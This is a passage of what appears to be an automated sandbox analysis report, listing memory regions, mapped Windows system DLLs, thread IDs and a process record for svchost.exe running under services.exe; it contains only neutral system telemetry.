= 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 2933 start_va = 0x270000 end_va = 0x2d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2934 start_va = 0x2e0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 2935 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 2936 start_va = 0x450000 end_va = 0x5d7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 2937 start_va = 0x5e0000 end_va = 0x760fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005e0000" filename = "" Region: id = 2938 start_va = 0x770000 end_va = 0x82ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000770000" filename = "" Region: id = 2939 start_va = 0x8a0000 end_va = 0x8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 2940 start_va = 0x940000 end_va = 0x9bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000940000" filename = "" Region: id = 2941 start_va = 0xa40000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a40000" filename = "" Region: id = 2942 start_va = 0xc20000 end_va = 0xc9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c20000" filename = "" Region: id = 2943 start_va = 0xcd0000 end_va = 0xd4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cd0000" filename = "" Region: id = 2944 start_va = 0xd50000 end_va = 0xdcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d50000" filename = "" Region: id = 2945 start_va = 0x10e0000 end_va = 0x115ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010e0000" filename = "" Region: id = 2946 start_va = 0x12b0000 end_va = 0x132ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012b0000" filename = "" Region: id = 2947 start_va = 0x1430000 end_va = 0x14affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001430000" filename = "" Region: id = 2948 start_va = 0x1660000 end_va = 0x175ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001660000" filename = "" Region: id = 2949 start_va = 0x1760000 end_va = 0x1a2efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2950 start_va = 0x1a30000 end_va = 0x1b2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a30000" filename = "" Region: id = 2951 start_va = 0x1b30000 end_va = 0x1d2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001b30000" filename = "" Region: id = 2952 start_va = 0x1d30000 end_va = 0x1f2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d30000" filename = "" Region: id = 2953 start_va = 0x1f30000 end_va = 0x232ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f30000" filename = "" Region: id = 2954 start_va = 0x2410000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002410000" filename = "" Region: id = 2955 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2956 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2957 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2958 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2959 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2960 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2961 start_va = 0xffa70000 end_va = 0xffac2fff monitored = 0 entry_point = 0xffa83310 region_type = mapped_file name = "services.exe" filename = "\\Windows\\System32\\services.exe" (normalized: "c:\\windows\\system32\\services.exe") Region: id = 2962 start_va = 0x7fefaff0000 end_va = 0x7fefb000fff monitored = 0 entry_point = 0x7fefaff1070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 2963 start_va = 0x7fefbf00000 end_va = 0x7fefbf06fff monitored = 0 entry_point = 0x7fefbf014b0 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 2964 start_va = 0x7fefc120000 end_va = 0x7fefc158fff monitored = 0 entry_point = 0x7fefc12c0f0 region_type = mapped_file name = "ubpm.dll" filename = "\\Windows\\System32\\ubpm.dll" (normalized: "c:\\windows\\system32\\ubpm.dll") Region: id = 2965 start_va = 0x7fefc160000 end_va = 0x7fefc169fff monitored = 0 entry_point = 0x7fefc163cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 2966 start_va = 0x7fefc4f0000 end_va = 0x7fefc4f6fff monitored = 0 entry_point = 0x7fefc4f142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 2967 start_va = 0x7fefc500000 end_va = 0x7fefc554fff monitored = 0 entry_point = 0x7fefc501054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 2968 start_va = 0x7fefc750000 end_va = 0x7fefc77efff monitored = 0 entry_point = 0x7fefc751064 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 2969 start_va = 0x7fefca60000 end_va = 0x7fefca82fff monitored = 0 entry_point = 0x7fefca61198 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 2970 start_va = 0x7fefca90000 end_va = 0x7fefcaf6fff monitored = 0 entry_point = 0x7fefca91010 region_type = mapped_file name = "scesrv.dll" filename = "\\Windows\\System32\\scesrv.dll" (normalized: "c:\\windows\\system32\\scesrv.dll") Region: id = 2971 start_va = 0x7fefcb00000 end_va = 0x7fefcb0afff monitored = 0 entry_point = 0x7fefcb01030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 2972 start_va = 0x7fefcb10000 end_va = 0x7fefcb28fff monitored = 0 entry_point = 0x7fefcb11020 region_type = mapped_file name = "scext.dll" filename = "\\Windows\\System32\\scext.dll" (normalized: "c:\\windows\\system32\\scext.dll") Region: id = 2973 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2974 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2975 start_va = 0x7fefcc10000 end_va = 0x7fefcc4cfff monitored = 0 entry_point = 0x7fefcc118f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 2976 start_va = 0x7fefcc50000 end_va = 0x7fefcc63fff monitored = 0 entry_point = 0x7fefcc510e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2977 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2978 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2979 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2980 start_va = 0x7fefd490000 end_va = 0x7fefd4dcfff monitored = 0 entry_point = 0x7fefd491070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2981 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2982 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2983 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2984 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2985 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2986 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2987 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2988 start_va = 0x7fefeff0000 end_va = 0x7fefeff7fff monitored = 0 entry_point = 0x7fefeff1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2989 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2990 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2991 start_va = 0x7fffff96000 end_va = 0x7fffff97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 2992 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 2993 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 2994 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 2995 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 2996 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2997 start_va = 0x7fffffd5000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 2998 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 2999 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 3000 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3001 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 5718 start_va = 0xdd0000 end_va = 0xe4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000dd0000" filename = "" Region: id = 5719 start_va = 0x7fefc6b0000 end_va = 0x7fefc6b7fff monitored = 0 entry_point = 0x7fefc6b2a6c region_type = mapped_file name = "wmsgapi.dll" filename = "\\Windows\\System32\\wmsgapi.dll" (normalized: "c:\\windows\\system32\\wmsgapi.dll") Region: id = 5720 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Thread: id = 286 os_tid = 0xde8 Thread: id = 287 os_tid = 0xd98 Thread: id = 288 os_tid = 0x624 Thread: id = 289 os_tid = 0x650 Thread: id = 290 os_tid = 0x480 Thread: id = 291 os_tid = 0x288 Thread: id = 292 os_tid = 0x228 Thread: id = 293 os_tid = 0x220 Thread: id = 294 os_tid = 0x21c Thread: id = 531 os_tid = 0x904 Thread: id = 543 os_tid = 0xd74 Thread: id = 552 os_tid = 0xd68 Thread: id = 553 os_tid = 0xd64 Thread: id = 555 os_tid = 0xf40 Process: id = "18" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x1c798000" os_pid = "0x250" os_integrity_level = "0x4000" os_privileges = "0x60b00080" monitor_reason = "child_process" parent_id = "17" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\system32\\svchost.exe -k DcomLaunch" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\DcomLaunch" [0xa], "NT SERVICE\\PlugPlay" [0xe], "NT SERVICE\\Power" [0xa], "NT AUTHORITY\\Logon Session 00000000:000071ef" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 3002 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3003 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 3004 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3005 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3006 start_va = 0x50000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3007 start_va = 0xd0000 end_va = 0x136fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3008 start_va = 0x140000 end_va = 0x140fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 3009 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 3010 start_va = 0x160000 end_va = 0x160fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 3011 start_va = 0x170000 end_va = 0x17cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 3012 start_va = 0x180000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 3013 start_va = 0x190000 end_va = 0x190fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 3014 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 3015 start_va = 0x1b0000 end_va = 0x1b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 3016 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 3017 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 3018 start_va = 0x1e0000 end_va = 0x2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 3019 start_va = 0x2e0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 3020 start_va = 0x3e0000 end_va = 0x3e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "umpnpmgr.dll.mui" filename = "\\Windows\\System32\\en-US\\umpnpmgr.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\umpnpmgr.dll.mui") Region: id = 3021 start_va = 0x3f0000 end_va = 0x3f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3022 start_va = 0x410000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 3023 start_va = 0x490000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 3024 start_va = 0x630000 end_va = 0x72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000630000" filename = "" Region: id = 3025 start_va = 0x770000 end_va = 0xa3efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3026 start_va = 0xa40000 end_va = 0xbc7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a40000" filename = "" Region: id = 3027 start_va = 0xbd0000 end_va = 0xd50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bd0000" filename = "" Region: id = 3028 start_va = 0xd60000 end_va = 0xddffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d60000" filename = "" Region: id = 3029 start_va = 0xe10000 end_va = 0xe8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e10000" filename = "" Region: id = 3030 start_va = 0xea0000 end_va = 0xf1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ea0000" filename = "" Region: id = 3031 start_va = 0xf30000 end_va = 0xfaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f30000" filename = "" Region: id = 3032 start_va = 0xfb0000 end_va = 0x10affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fb0000" filename = "" Region: id = 3033 start_va = 0x1110000 end_va = 0x118ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001110000" filename = "" Region: id = 3034 start_va = 0x1280000 end_va = 0x12fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001280000" filename = "" Region: id = 3035 start_va = 0x1330000 end_va = 0x13affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001330000" filename = "" Region: id = 3036 start_va = 0x13f0000 end_va = 0x146ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000013f0000" filename = "" Region: id = 3037 start_va = 0x14d0000 end_va = 0x154ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000014d0000" filename = "" Region: id = 3038 start_va = 0x1560000 end_va = 0x15dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001560000" filename = "" Region: id = 3039 start_va = 0x1610000 end_va = 0x168ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001610000" filename = "" Region: id = 3040 start_va = 0x1700000 end_va = 0x177ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001700000" filename = "" Region: id = 3041 start_va = 0x17f0000 end_va = 0x186ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000017f0000" filename = "" Region: id = 3042 start_va = 0x1a00000 end_va = 0x1afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a00000" filename = "" Region: id = 3043 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3044 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3045 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3046 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3047 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3048 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3049 start_va = 0xffa90000 end_va = 0xffa9afff monitored = 0 entry_point = 0xffa9246c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 3050 start_va = 0x7fef8ee0000 end_va = 0x7fef8f00fff monitored = 0 entry_point = 0x7fef8ef03b0 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 3051 start_va = 0x7fef9000000 end_va = 0x7fef9012fff monitored = 0 entry_point = 0x7fef9001d80 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 3052 start_va = 0x7fef92e0000 end_va = 0x7fef92edfff monitored = 0 entry_point = 0x7fef92e5500 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 3053 start_va = 0x7fef92f0000 end_va = 0x7fef9316fff monitored = 0 entry_point = 0x7fef92f11a0 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 3054 start_va = 0x7fef9320000 end_va = 0x7fef93f2fff monitored = 0 entry_point = 0x7fef9398b00 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 3055 start_va = 0x7fef9400000 end_va = 0x7fef9431fff monitored = 0 entry_point = 0x7fef941ca90 region_type = mapped_file name = "wmidcprv.dll" filename = "\\Windows\\System32\\wbem\\WmiDcPrv.dll" (normalized: "c:\\windows\\system32\\wbem\\wmidcprv.dll") Region: id = 3056 start_va = 0x7fef9580000 end_va = 0x7fef95f6fff monitored = 0 entry_point = 0x7fef95be7f0 region_type = mapped_file name = "wbemcomn2.dll" filename = "\\Windows\\System32\\wbemcomn2.dll" (normalized: "c:\\windows\\system32\\wbemcomn2.dll") Region: id = 3057 start_va = 0x7fefacf0000 end_va = 0x7fefad1cfff monitored = 0 entry_point = 0x7fefacf1010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 3058 start_va = 0x7fefaff0000 end_va = 0x7fefb000fff monitored = 0 entry_point = 0x7fefaff1070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 3059 start_va = 0x7fefbf30000 end_va = 0x7fefbfb0fff monitored = 0 entry_point = 0x7fefbf3cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3060 start_va = 0x7fefbfc0000 end_va = 0x7fefbfebfff monitored = 0 entry_point = 0x7fefbfc1860 region_type = mapped_file name = "umpo.dll" filename = "\\Windows\\System32\\umpo.dll" (normalized: "c:\\windows\\system32\\umpo.dll") Region: id = 3061 start_va = 0x7fefbff0000 end_va = 0x7fefc00afff monitored = 0 entry_point = 0x7fefbff2068 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 3062 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3063 start_va = 0x7fefc030000 end_va = 0x7fefc041fff monitored = 0 entry_point = 0x7fefc031060 region_type = mapped_file name = "devrtl.dll" filename = "\\Windows\\System32\\devrtl.dll" (normalized: "c:\\windows\\system32\\devrtl.dll") Region: id = 3064 start_va = 0x7fefc050000 end_va = 0x7fefc06efff monitored = 0 entry_point = 0x7fefc055c68 region_type = mapped_file name = "spinf.dll" filename = "\\Windows\\System32\\SPInf.dll" (normalized: "c:\\windows\\system32\\spinf.dll") Region: id = 3065 start_va = 0x7fefc070000 end_va = 0x7fefc0d6fff monitored = 0 entry_point = 0x7fefc07d320 region_type = mapped_file name = "umpnpmgr.dll" filename = "\\Windows\\System32\\umpnpmgr.dll" (normalized: "c:\\windows\\system32\\umpnpmgr.dll") Region: id = 3066 start_va = 0x7fefc160000 end_va = 0x7fefc169fff monitored = 0 entry_point = 0x7fefc163cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 3067 start_va = 0x7fefc170000 end_va = 0x7fefc17cfff monitored = 0 entry_point = 0x7fefc171348 region_type = mapped_file name = "pcwum.dll" filename = "\\Windows\\System32\\pcwum.dll" (normalized: "c:\\windows\\system32\\pcwum.dll") Region: id = 3068 start_va = 0x7fefc260000 end_va = 0x7fefc2a6fff monitored = 0 entry_point = 0x7fefc261064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 3069 start_va = 0x7fefc560000 end_va = 0x7fefc577fff monitored = 0 entry_point = 0x7fefc563b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: 